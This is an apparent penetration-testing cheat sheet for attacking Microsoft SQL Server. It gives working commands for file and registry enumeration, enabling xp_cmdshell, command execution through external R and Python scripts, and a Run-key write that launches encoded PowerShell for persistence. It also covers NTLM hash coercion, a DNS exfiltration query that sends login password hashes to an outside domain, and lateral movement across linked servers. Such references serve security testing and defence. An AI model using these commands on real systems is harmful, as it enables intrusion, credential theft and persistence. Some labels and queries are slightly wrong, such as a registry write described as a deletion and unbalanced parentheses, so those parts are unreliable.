MSSQL

  • Port: 1433
  • Protocol: tcp

Table of content

Enumeration

Before using xp_cmdshell some basic recon action can be done using only MSSQL commands

Filesystem

Explore

-- return the files contained in the directory
EXEC xp_dirtree 'C:\Users',1,1

It also works with network shares.

Read file content

SELECT * FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_CLOB) AS Contents

Whoami

The following request can be used to retrieve the Windows user running the SQL service:

SELECT servicename, service_account FROM sys.dm_server_services

Registry

Basic operations

It is possible to enumerate the different registries key

-- List all the keys from a specific registry
-- In this case it enumerate all services
EXEC xp_regenumkeys 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services';

-- Query the content of a specific key
EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\TeamViewer', 'CurrentVersion'

-- Write the content of a specifc registry
-- In this case, execute a specific script when a user login
-- on the windows session
EXEC xp_regwrite 
@rootkey     = 'HKEY_LOCAL_MACHINE', 
@key         = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name  = 'VALUE',
@type        = 'REG_SZ',
@value       = '"PowerShell -ENC ..."'

-- Delete a registry value
EXEC xp_regwrite  
@rootkey     = 'HKEY_LOCAL_MACHINE',  
@key         = 'Software\Microsoft\Windows\CurrentVersion\Run',  
@value_name  = 'Solitaire',  
@type        = 'REG_SZ',  
@value       = 'C:\Program Files\Microsoft Games\Solitaire\Solitaire.exe'

Services

As it is possible to access the registry, it's possible to act on specific services:

-- Get a service status by name
EXEC xp_servicecontrol 'QUERYSTATE', 'SentinelAgent'

The status parameter can take different values:

  • Start
  • Stop
  • Pause
  • Continue
  • Querystate

BASE64 extraction

Sometime through a SQL injection, it can be interesting to return the result in BASE64 to avoid breaking the data schemed sent back by the application (a ' breaking the JSON response). It is possible to ask the SQL server to directly encode the result in BASE64

SELECT res=(SELECT CAST(name as varbinary(max)) FOR XML PATH(''), BINARY BASE64) FROM sys.servers

RCE

Run external script

On Azure MSSQL it is possible to run external Python or R script with the following command :

EXEC sp_execute_external_script @language = N'R',
@script = N'data.frame(print(system("cmd.exe /C whoami", intern=T)))'

Or, with a python script :

EXEC sp_configure 'show advanced options', 1 ; 
GO  
RECONFIGURE;
EXECUTE sp_configure 'external scripts enabled', 1;
GO
RECONFIGURE;
GO
EXEC sp_execute_external_script @language = N'Python' , @script = N'import subprocess;
cmd = ["whoami","ipconfig"];
a = "";
for c in cmd:
    a += subprocess.check_output(c.split(" "), shell=True).decode()+"\r\n";
a = [elt for elt in a.split("\r\n") if a.strip() != ""];
a = "\n".join(a);
print(a);
'
GO

xp_cmdshell

xp_cmdshell is a procedure that will execute a system command. It can be activated using the following commands:

EXEC sp_configure 'show advanced options', 1 ; 
GO  
RECONFIGURE;
GO    
EXEC sp_configure 'xp_cmdshell', 1  
GO   
RECONFIGURE;
GO

Then:

EXEC xp_cmdshell 'whoami';

File system enumeration

Ole Automation Procedures should be activated to access some file system procedures:

sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO

Enumerate the files

SELECT * FROM sys.dm_os_enumerate_filesystem('C:\', '*');

Read file content

SELECT * FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_CLOB) AS Contents

NTLM coercion

It is possible to coerce MSSQL to perform an authenticated request against a choosen server in order to relay or catch the NetNTLM hash:

EXEC xp_dirtree '\\${ip}\foo', 1, 1

Introspection

It is possible to retrieve the currently executed SQL command with the following query:

SELECT s.TEXT FROM sys.dm_exec_requests CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s WHERE s.TEXT LIKE '%6744j%')

DNS exfiltration

The fn_trace_gettable function can be used for DNS exfiltration.

-- The .trc is mandatory.
-- Make sure to encode your output to make it compatible with the DNS RFC
SELECT 1 FROM fn_trace_gettable('\\'+(SELECT TOP 1 password_hash from sql_logins)+'-771.d.gotraffic.fr\.trc',default))=1

Lateral Movement

MYSQL servers can be linked on to each other. Once a server is compromised, it can be possible to compromise other MSSQL instances.

The following query can be used to find linked MSSQL instances:

SELECT * FROM master..sysservers;

Likewise, PowerUpSQL can be used to automate the discovery of remote instances:

powershell Get-SQLServerLinkCrawl -Instance "${initialDbIp},1433"

Then, the remote instance can be queried using the following request:

SELECT * FROM OPENQUERY("${dbIp}", '${sqlQuery}');

The OPENQUERY can raise some error when using a stored procedure saying that some metadata cannot be found. In this case, you have to specify the format of the table returned by the stored procedure with WITH RESULT SETS:

SELECT * FROM OPENQUERY([SRV-LINKED], 'EXEC xp_dirtree ''C:\'', 1, 1 WITH RESULT SETS ((subdirectory NVARCHAR(MAX), depth int, isFile bit))'')

Likewise, OPENQUERY has some limitations:

  • The stored procedure must return a value: so RECONFIGURE and sp_configure will not work
  • Thee linked server must be configured with DATA ACCESS

It is also possible to modify the remote MSSQL parameters using the following command:

EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [${dbIp}]

Tools

PowerUpSQL

PowerUpSQL is a list of PowerShell script that can be help to enumerate and interact with MSSQL database.

Get domain MSSQL databases

Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Query a database

Get-SQLQuery -Instance "${dbIp},${dbPort}" -Query "${sqlQuery}"

mssql-cli

mssql-cli is a python CLI tool that can be used to get an interactive session with the database:

# dbName is optional
mssql-cli -S ${dbIp} -d ${dbName} -U ${username} -P ${password}

References

results matching ""

    No results matching ""

    results matching ""

      No results matching ""